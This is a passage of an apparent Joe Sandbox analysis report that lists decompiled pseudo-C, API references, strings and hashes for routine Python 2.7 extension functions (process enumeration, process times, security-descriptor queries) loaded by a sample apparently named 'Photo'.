						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t89 + 4)) + 0x18))))(_t89);
						_t97 = _t97 + 4;
					}
					 *_t84 =  *_t84 + 0xffffffff;
					if( *_t84 == 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t84 + 4)) + 0x18))))(_t84);
						_t97 = _t97 + 4;
					}
					 *((intOrPtr*)(_t97 + 0x1c)) =  *((intOrPtr*)(_t97 + 0x1c)) + 0x2c;
					_t55 =  *((intOrPtr*)(_t97 + 0x2c)) + 1;
					 *((intOrPtr*)(_t97 + 0x2c)) = _t55;
				} while (_t55 <  *((intOrPtr*)(_t97 + 0x20)));
				_t91 =  *((intOrPtr*)(_t97 + 0x10));
				CloseServiceHandle( *(_t97 + 0x24));
				 *0x2769214(_t91);
				return  *((intOrPtr*)(_t97 + 0x18));
				goto L33;
			}

0x02767410
0x02767410
0x02767414
0x02767416
0x02767418
0x02767420
0x02767420
0x02767423
0x02767426
0x0276742b
0x02767439
0x0276743b
0x02767440
0x02767512
0x02767512
0x02767516
0x00000000
0x02767446
0x02767446
0x02767449
0x0276744b
0x02767450
0x02767450
0x02767453
0x02767456
0x02767463
0x02767465
0x0276746a
0x00000000
0x02767470
0x02767477
0x0276747d
0x02767481
0x02767483
0x02767486
0x0276748c
0x0276751a
0x0276751a
0x0276751d
0x02767526
0x02767528
0x02767528
0x0276752d
0x0276752f
0x02767533
0x0276753c
0x0276753e
0x0276753e
0x02767533
0x02767543
0x02767545
0x02767548
0x02767551
0x02767553
0x02767553
0x02767548
0x02767556
0x02767559
0x02767562
0x02767564
0x02767564
0x0276756c
0x02767572
0x02767578
0x0276757b
0x02767581
0x02767581
0x0276758d
0x02767492
0x02767494
0x0276749a
0x0276749f
0x00000000
0x00000000
0x00000000
0x00000000
0x0276749f
0x0276748c
0x0276746a
0x00000000
0x027674a1
0x027674a1
0x027674a5
0x027674ae
0x027674b0
0x027674b0
0x027674b3
0x027674b6
0x027674bf
0x027674c1
0x027674c1
0x027674c4
0x027674c7
0x027674d0
0x027674d2
0x027674d2
0x027674d9
0x027674de
0x027674df
0x027674e3
0x027674ed
0x027674f6
0x027674fd
0x02767511
0x00000000

APIs

PyUnicodeUCS2_FromWideChar.PYTHON27 ref: 02767437
PyUnicodeUCS2_FromWideChar.PYTHON27(?,?), ref: 02767461
Py_BuildValue.PYTHON27((OO),00000000,00000000), ref: 02767477
PyList_Append.PYTHON27(?,00000000), ref: 02767494
CloseServiceHandle.ADVAPI32(?), ref: 027674F6
6C423B4E.MSVCR90(00000000), ref: 027674FD

Strings

N;Bl, xrefs: 027674FD
,, xrefs: 027674D9
(OO), xrefs: 02767472

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: CharFromUnicodeWide$AppendBuildC423CloseHandleList_ServiceValue
String ID: (OO)$,$N;Bl
API String ID: 3849293795-1964524149
Opcode ID: c1a70431ce3db329f1e3184040afbef76673ccac8277e1f60943e45e5b239ca8
Instruction ID: 3aa920a2de32dfe3ed6bd58f2fb512ee780c6774bf4b12a8679a9f4aec3f24b4
Opcode Fuzzy Hash: c1a70431ce3db329f1e3184040afbef76673ccac8277e1f60943e45e5b239ca8
Instruction Fuzzy Hash: 9E31B1759003019FC714DF68DD489ABB7E4FF88268F188A18ED5987341D734EA16CB92

Uniqueness

Uniqueness Score: -1.00%

Function 027616E0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94
timeCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E027616E0(void* __fp0, intOrPtr _a8) {
				struct _FILETIME _v8;
				struct _FILETIME _v16;
				struct _FILETIME _v24;
				struct _FILETIME _v32;
				signed long long _v52;
				void* _t12;
				void* _t35;
				void* _t39;
				intOrPtr* _t40;
				void* _t41;
				signed long long* _t42;
				signed long long _t51;

				_t12 =  *0x2769308(_a8, "l", _t39);
				_t40 = _t39 + 0xc;
				if(_t12 != 0) {
					_t35 = E027660C0( *_t40, 0x1000);
					_t41 = _t40 + 8;
					if(_t35 == 0) {
						L7:
						return 0;
					} else {
						if(GetProcessTimes(_t35,  &_v8,  &_v16,  &_v32,  &_v24) != 0) {
							CloseHandle(_t35);
							asm("fild dword [esp+0xc]");
							if(_v32.dwLowDateTime < 0) {
							}
							asm("fild dword [esp+0x10]");
							if(_v32.dwHighDateTime < 0) {
							}
							_t51 =  *0x2769340 * st0;
							_t42 = _t41 - 0x10;
							asm("fxch st0, st3");
							asm("faddp st1, st0");
							_v52 = _t51;
							asm("fild dword [esp+0x24]");
							if(_v24.dwLowDateTime < 0) {
								_t51 = _t51 +  *0x2769350;
							}
							asm("fmulp st1, st0");
							asm("fild dword [esp+0x28]");
							if(_v24.dwHighDateTime < 0) {
								_t51 = _t51 +  *0x2769350;
							}
							asm("fmulp st2, st0");
							asm("faddp st1, st0");
							 *_t42 = _t51;
							return  *0x27692b4("(dd)");
						} else {
							if(GetLastError() != 5) {
								 *0x27692b8(0);
								CloseHandle(_t35);
								goto L7;
							} else {
								E02761020(0x276d7d7);
								CloseHandle(_t35);
								return 0;
							}
						}
					}
				} else {
					return _t12;
				}
			}

0x027616f1
0x027616f7
0x027616fc
0x02761711
0x02761713
0x02761718
0x02761771
0x02761777
0x0276171a
0x02761737
0x02761779
0x0276177f
0x02761789
0x02761789
0x0276179d
0x027617a3
0x027617a3
0x027617b5
0x027617b7
0x027617ba
0x027617bc
0x027617be
0x027617c2
0x027617c8
0x027617ca
0x027617ca
0x027617d4
0x027617d6
0x027617dc
0x027617de
0x027617de
0x027617e4
0x027617e6
0x027617e8
0x027617fd
0x02761739
0x02761742
0x02761761
0x0276176b
0x00000000
0x02761744
0x02761749
0x02761752
0x0276175e
0x0276175e
0x02761742
0x02761737
0x02761701
0x02761701
0x02761701

APIs

PyArg_ParseTuple.PYTHON27(?,0276B210), ref: 027616F1
GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 0276172F
GetLastError.KERNEL32 ref: 02761739
CloseHandle.KERNEL32(00000000), ref: 02761752

Strings

(dd), xrefs: 027617EB

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_CloseErrorHandleLastParseProcessTimesTuple
String ID: (dd)
API String ID: 459457561-1212091902
Opcode ID: d9d2529c932e08df0dbfe776a3a2e46bf129b1fa22a5f00a33cb0a5bc2a6eb18
Instruction ID: 3f03a705d5ca90b89f505aa371fe93b49bae951207986ccbc0f5c6fb4d4dfd4c
Opcode Fuzzy Hash: d9d2529c932e08df0dbfe776a3a2e46bf129b1fa22a5f00a33cb0a5bc2a6eb18
Instruction Fuzzy Hash: B931C171E44302ABD705AB15E85DAAB77E4FB48749F998D08F94AD2240FB318534CB82

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6A90 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:GetSecurityDescriptorSacl), ref: 1E7A6AB2
IsValidSecurityDescriptor.ADVAPI32(?), ref: 1E7A6AD7
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(GetSecurityDescriptorSacl - invalid sd,00000000), ref: 1E7A6AE7

Strings

:GetSecurityDescriptorSacl, xrefs: 1E7A6AAC
GetSecurityDescriptorSacl, xrefs: 1E7A6B1A
GetSecurityDescriptorSacl - invalid sd, xrefs: 1E7A6AE2

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_DescriptorError@@ParseSecurityTupleU_object@@ValidWin_
String ID: :GetSecurityDescriptorSacl$GetSecurityDescriptorSacl$GetSecurityDescriptorSacl - invalid sd
API String ID: 2327843493-3167575759
Opcode ID: 417c61ce9459df1f9022dc32d93360b0fe7123740467c1014f5c167f8f60b21b
Instruction ID: e7f34754e416fc2e343944d892b2c1f42aa59186ed79187a2b0c88e26f3d06d5
Opcode Fuzzy Hash: 417c61ce9459df1f9022dc32d93360b0fe7123740467c1014f5c167f8f60b21b
Instruction Fuzzy Hash: D5317176904640EFE305DF54DC41B9AB7E9FBC8710F488A2EE94A83760E7389504CA92

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6970 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:GetSecurityDescriptorDacl), ref: 1E7A6992
IsValidSecurityDescriptor.ADVAPI32(?), ref: 1E7A69B7
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(SetSecurityDescriptorGroup - invalid sd,00000000), ref: 1E7A69C7

Strings

SetSecurityDescriptorGroup - invalid sd, xrefs: 1E7A69C2
GetSecurityDescriptorDacl, xrefs: 1E7A69FA
:GetSecurityDescriptorDacl, xrefs: 1E7A698C

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_DescriptorError@@ParseSecurityTupleU_object@@ValidWin_
String ID: :GetSecurityDescriptorDacl$GetSecurityDescriptorDacl$SetSecurityDescriptorGroup - invalid sd
API String ID: 2327843493-161903415
Opcode ID: faa7b87edf4101114b97707301425c68d227c583b709021e99710b439150441a
Instruction ID: 464028e9080966ce77f36c9a9edada041dc890cda6297aff7ffd755070a99b59
Opcode Fuzzy Hash: faa7b87edf4101114b97707301425c68d227c583b709021e99710b439150441a
Instruction Fuzzy Hash: 2931527A944640EFF305DF54DC45B9AB3E9FBC8710F488B2DE94983760E7389505CA92

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6860 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,:GetSecurityDescriptorGroup), ref: 1E7A6882
IsValidSecurityDescriptor.ADVAPI32(?), ref: 1E7A68A7
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(GetSecurityDescriptorGroup - invalid sd,00000000), ref: 1E7A68B7

Strings

GetSecurityDescriptorGroup - invalid sd, xrefs: 1E7A68B2
:GetSecurityDescriptorGroup, xrefs: 1E7A687C
GetSecurityDescriptorGroup, xrefs: 1E7A68E5

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_DescriptorError@@ParseSecurityTupleU_object@@ValidWin_
String ID: :GetSecurityDescriptorGroup$GetSecurityDescriptorGroup$GetSecurityDescriptorGroup - invalid sd
API String ID: 2327843493-1740808346
Opcode ID: 82317031113f2c08136d236d2381dc5a7e9a5801a018e1e3697159a299708a87
Instruction ID: 37a5aec56829149e2f2c4d167871f9ff58752d8161ddba288dd890a348b97405
Opcode Fuzzy Hash: 82317031113f2c08136d236d2381dc5a7e9a5801a018e1e3697159a299708a87
Instruction Fuzzy Hash: AC21A5B5954641EFE304DF58D841B9A77E9FBC8B10F888A2DE94A83360E738A404CA52

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AB070 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON27(?,fileno), ref: 1E7AB07D
PyErr_Clear.PYTHON27 ref: 1E7AB092
PyCallable_Check.PYTHON27(00000000), ref: 1E7AB099
PyObject_CallObject.PYTHON27(00000000,00000000), ref: 1E7AB0A9
?PyWinLong_AsVoidPtr@@YAHPAU_object@@PAPAX@Z.PYWINTYPES27(00000000,?), ref: 1E7AB0D7

Part of subcall function 1E7AA420: PyInt_AsLong.PYTHON27(?,?,?,?,1E7A40BF,?,?), ref: 1E7AA428
Part of subcall function 1E7AA420: PyErr_Occurred.PYTHON27 ref: 1E7AA442
Part of subcall function 1E7AA420: PyErr_Clear.PYTHON27 ref: 1E7AA448
Part of subcall function 1E7AA420: PyLong_AsUnsignedLong.PYTHON27(?), ref: 1E7AA44F
Part of subcall function 1E7AA420: PyErr_Occurred.PYTHON27 ref: 1E7AA45F
Part of subcall function 1E7AA420: PyErr_Format.PYTHON27(?,Unable to convert %s to pointer-sized value,?), ref: 1E7AA47A

PyErr_Clear.PYTHON27 ref: 1E7AB0F6
PyErr_SetString.PYTHON27(00000000,Expected a socket object or numeric socket handle), ref: 1E7AB106

Strings

fileno, xrefs: 1E7AB077
Expected a socket object or numeric socket handle, xrefs: 1E7AB100

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_$Clear$LongLong_Object_OccurredString$AttrCallCallable_CheckFormatInt_ObjectPtr@@U_object@@UnsignedVoid
String ID: Expected a socket object or numeric socket handle$fileno
API String ID: 4239578665-511972153
Opcode ID: 9e5837ca91369d5dbeedda40b3dde642a381b64af3708a3e3b5dcedda7538b5b
Instruction ID: bfc32dffc34b7f4841331fec98d251c22faa771f25e0eea7832e0a809b45d00a
Opcode Fuzzy Hash: 9e5837ca91369d5dbeedda40b3dde642a381b64af3708a3e3b5dcedda7538b5b
Instruction Fuzzy Hash: 9A11ABB25001515BE3219F68AC8496BB3A9EFC5675B190714FE1583360D724DC16CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A8FD0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PyString_Size.PYTHON27(?,?,?,00000001,1E7A23A8,1E7A9097,1E7A23A8,?,?,?,00000000,1E7A496F,?,?,00000000,00000000), ref: 1E7A8FDB
PyString_AsString.PYTHON27(?,?,00000000,1E7A496F,?,?,00000000,00000000,?,1E7A23A8,?,?), ref: 1E7A8FE4
PyErr_SetString.PYTHON27(?,No memory for wide string buffer,?,?,?,?,1E7A257E,74372CA0,AddAccessAllowedObjectAce,?,?,?,?,?,?), ref: 1E7A9014
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,1E7A257E,74372CA0,AddAccessAllowedObjectAce,?,?,?), ref: 1E7A902C
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 1E7A9034
PyErr_SetString.PYTHON27(?,allocating BSTR,?,?,?,?,1E7A257E,74372CA0,AddAccessAllowedObjectAce,?,?,?,?,?,?), ref: 1E7A904E
6C423B4E.MSVCR90(00000000,?,?,?,?,1E7A257E,74372CA0,AddAccessAllowedObjectAce,?,?,?,?,?,?), ref: 1E7A9058

Strings

allocating BSTR, xrefs: 1E7A9048
No memory for wide string buffer, xrefs: 1E7A900E

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: String$Err_String_$AllocByteC423CharMultiSizeWide
String ID: No memory for wide string buffer$allocating BSTR
API String ID: 955540862-1816726438
Opcode ID: be0a2a47d5cff7089e8e9a3b43e01c08c3965bb9de940b5c1439d5655334c603
Instruction ID: e7a47a172ca24772e3385fb284d0ba88eab744d07d90ed9ea89e88dee56d4eb1
Opcode Fuzzy Hash: be0a2a47d5cff7089e8e9a3b43e01c08c3965bb9de940b5c1439d5655334c603
Instruction Fuzzy Hash: 1C115E75611229EFF7105BA4AD88E9B37ACEFC936AF094135FA05C6200E7759910CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA240 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

PyLong_FromUnsignedLong.PYTHON27(?,?,?), ref: 1E7AA25B
PyLong_FromUnsignedLong.PYTHON27(?,00000000), ref: 1E7AA265
PyLong_FromUnsignedLong.PYTHON27(?,00000000), ref: 1E7AA26F
PyLong_FromUnsignedLong.PYTHON27(?,00000000), ref: 1E7AA279
?PyWinObject_FromFILETIME@@YAPAU_object@@ABU_FILETIME@@@Z.PYWINTYPES27(00000000,00000000), ref: 1E7AA283

Part of subcall function 1E7A8670: FileTimeToSystemTime.KERNEL32(?,?), ref: 1E7A86A4
Part of subcall function 1E7A8670: SystemTimeToVariantTime.OLEAUT32(?,00000008), ref: 1E7A86B0

?PyWinObject_FromFILETIME@@YAPAU_object@@ABU_FILETIME@@@Z.PYWINTYPES27(?,00000000,00000000), ref: 1E7AA290
?PyWinObject_FromFILETIME@@YAPAU_object@@ABU_FILETIME@@@Z.PYWINTYPES27(?,00000000,00000000,00000000), ref: 1E7AA29D
Py_BuildValue.PYTHON27(lNNNNNNNss,00000000,00000000,00000000,00000000,00000000), ref: 1E7AA2AE

Strings

lNNNNNNNss, xrefs: 1E7AA2A9

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: From$LongLong_TimeUnsigned$E@@@Object_U_object@@$System$BuildFileValueVariant
String ID: lNNNNNNNss
API String ID: 226951647-140673701
Opcode ID: 29c7b9fb93da712869211954bc8f8307b174198e128e6b182aca9ef11228c3d2
Instruction ID: 8d7559af46dc0984322f29bbf1d0321cf9bf0cd692bd74063bf3c80f8244369f
Opcode Fuzzy Hash: 29c7b9fb93da712869211954bc8f8307b174198e128e6b182aca9ef11228c3d2
Instruction Fuzzy Hash: 9501E5F69006047BF210DB64EC85C97B3ED9FD82187054B29F58BD3611E531F5598BB2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA2C0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

PyLong_FromUnsignedLong.PYTHON27(?,?,?), ref: 1E7AA2DB
PyLong_FromUnsignedLong.PYTHON27(?,00000000), ref: 1E7AA2E5
PyLong_FromUnsignedLong.PYTHON27(?,00000000), ref: 1E7AA2EF
PyLong_FromUnsignedLong.PYTHON27(?,00000000), ref: 1E7AA2F9
?PyWinObject_FromFILETIME@@YAPAU_object@@ABU_FILETIME@@@Z.PYWINTYPES27(00000000,00000000), ref: 1E7AA303

Part of subcall function 1E7A8670: FileTimeToSystemTime.KERNEL32(?,?), ref: 1E7A86A4
Part of subcall function 1E7A8670: SystemTimeToVariantTime.OLEAUT32(?,00000008), ref: 1E7A86B0

?PyWinObject_FromFILETIME@@YAPAU_object@@ABU_FILETIME@@@Z.PYWINTYPES27(?,00000000,00000000), ref: 1E7AA310
?PyWinObject_FromFILETIME@@YAPAU_object@@ABU_FILETIME@@@Z.PYWINTYPES27(?,00000000,00000000,00000000), ref: 1E7AA31D
Py_BuildValue.PYTHON27(lNNNNNNNuu,00000000,00000000,00000000,00000000,00000000), ref: 1E7AA32E

Strings

lNNNNNNNuu, xrefs: 1E7AA329

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: From$LongLong_TimeUnsigned$E@@@Object_U_object@@$System$BuildFileValueVariant
String ID: lNNNNNNNuu
API String ID: 226951647-3076227094
Opcode ID: ea6d8460fc3f1a93d30d1f7e53a5c5a37ade5cb1a484eb73bb9de0b6123212c6
Instruction ID: 783277239b02f11cc4275b66ae2b8763e9dd7c712c34bfc3979158c81df6efe5
Opcode Fuzzy Hash: ea6d8460fc3f1a93d30d1f7e53a5c5a37ade5cb1a484eb73bb9de0b6123212c6
Instruction Fuzzy Hash: 370121F69006047BF210DB64EC85C97B3AD9F882187054B29F58BD3611EA31F5198BB2

Uniqueness

Uniqueness Score: -1.00%

Function 02764E20 Relevance: 15.1, APIs: 10, Instructions: 140
processCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E02764E20() {
				intOrPtr _v280;
				char _v292;
				intOrPtr _v296;
				void* _v300;
				void* _v304;
				void* _v308;
				void* _v312;
				intOrPtr* _t23;
				void* _t40;
				intOrPtr* _t50;
				intOrPtr* _t63;
				void* _t65;
				intOrPtr* _t67;
				intOrPtr* _t72;
				void* _t75;
				void* _t76;

				_t63 = 0;
				_t23 =  *0x27692ec();
				_push(0x124);
				_t50 = _t23;
				_push(0);
				_push( &_v292);
				L0276836A();
				_t75 =  &_v300 + 0xc;
				_v296 = 0x128;
				if(_t50 != 0) {
					_t65 = CreateToolhelp32Snapshot(2, 0);
					_v304 = _t65;
					if(_t65 != 0xffffffff) {
						if(Process32First(_t65,  &_v300) == 0) {
							L17:
							CloseHandle(_t65);
							return _t50;
						} else {
							_t72 =  *0x27692b4;
							while(1) {
								_t67 =  *_t72("I", _v296);
								_t76 = _t75 + 8;
								if(_t67 == 0) {
									break;
								}
								_t63 =  *_t72("I", _v280);
								_t76 = _t76 + 8;
								if(_t63 == 0) {
									L18:
									 *_t67 =  *_t67 + 0xffffffff;
									if( *_t67 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t67 + 4)) + 0x18))))(_t67);
										_t76 = _t76 + 4;
									}
									break;
								} else {
									_t40 =  *0x27692e8(_t50, _t67, _t63);
									_t76 = _t76 + 0xc;
									if(_t40 != 0) {
										goto L18;
									} else {
										 *_t67 =  *_t67 + 0xffffffff;
										if( *_t67 == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t67 + 4)) + 0x18))))(_t67);
											_t75 = _t76 + 4;
										}
										 *_t63 =  *_t63 + 0xffffffff;
										if( *_t63 == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t63 + 4)) + 0x18))))(_t63);
											_t75 = _t76 + 4;
										}
										if(Process32Next(_v308,  &_v304) != 0) {
											continue;
										} else {
											_t65 = _v312;
											goto L17;
										}
									}
								}
								goto L26;
							}
							if(_t63 != 0) {
								 *_t63 =  *_t63 + 0xffffffff;
								if( *_t63 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t63 + 4)) + 0x18))))(_t63);
									_t76 = _t76 + 4;
								}
							}
							 *_t50 =  *_t50 + 0xffffffff;
							if( *_t50 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t50 + 4)) + 0x18))))(_t50);
							}
							CloseHandle(_v308);
							return 0;
						}
					} else {
						 *0x27692b8(0);
						 *_t50 =  *_t50 + _t65;
						if( *_t50 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t50 + 4)) + 0x18))))(_t50);
						}
						return 0;
					}
				} else {
					return 0;
				}
				L26:
			}

0x02764e28
0x02764e2a
0x02764e30
0x02764e35
0x02764e3b
0x02764e3c
0x02764e3d
0x02764e42
0x02764e45
0x02764e4f
0x02764e66
0x02764e68
0x02764e6f
0x02764ea6
0x02764f27
0x02764f28
0x02764f3a
0x02764ea8
0x02764ea8
0x02764eb0
0x02764ebc
0x02764ebe
0x02764ec3
0x00000000
0x00000000
0x02764ed5
0x02764ed7
0x02764edc
0x02764f3b
0x02764f3b
0x02764f3e
0x02764f47
0x02764f49
0x02764f49
0x00000000
0x02764ede
0x02764ee1
0x02764ee7
0x02764eec
0x00000000
0x02764eee
0x02764eee
0x02764ef1
0x02764efa
0x02764efc
0x02764efc
0x02764eff
0x02764f02
0x02764f0b
0x02764f0d
0x02764f0d
0x02764f21
0x00000000
0x02764f23
0x02764f23
0x00000000
0x02764f23
0x02764f21
0x02764eec
0x00000000
0x02764edc
0x02764f4e
0x02764f50
0x02764f53
0x02764f5c
0x02764f5e
0x02764f5e
0x02764f53
0x02764f61
0x02764f64
0x02764f6d
0x02764f6f
0x02764f77
0x02764f89
0x02764f89
0x02764e71
0x02764e73
0x02764e7c
0x02764e7e
0x02764e87
0x02764e89
0x02764e97
0x02764e97
0x02764e52
0x02764e5b
0x02764e5b
0x00000000

APIs

PyDict_New.PYTHON27 ref: 02764E2A
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02764E61
PyErr_SetFromWindowsErr.PYTHON27(00000000,00000002,00000000), ref: 02764E73

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
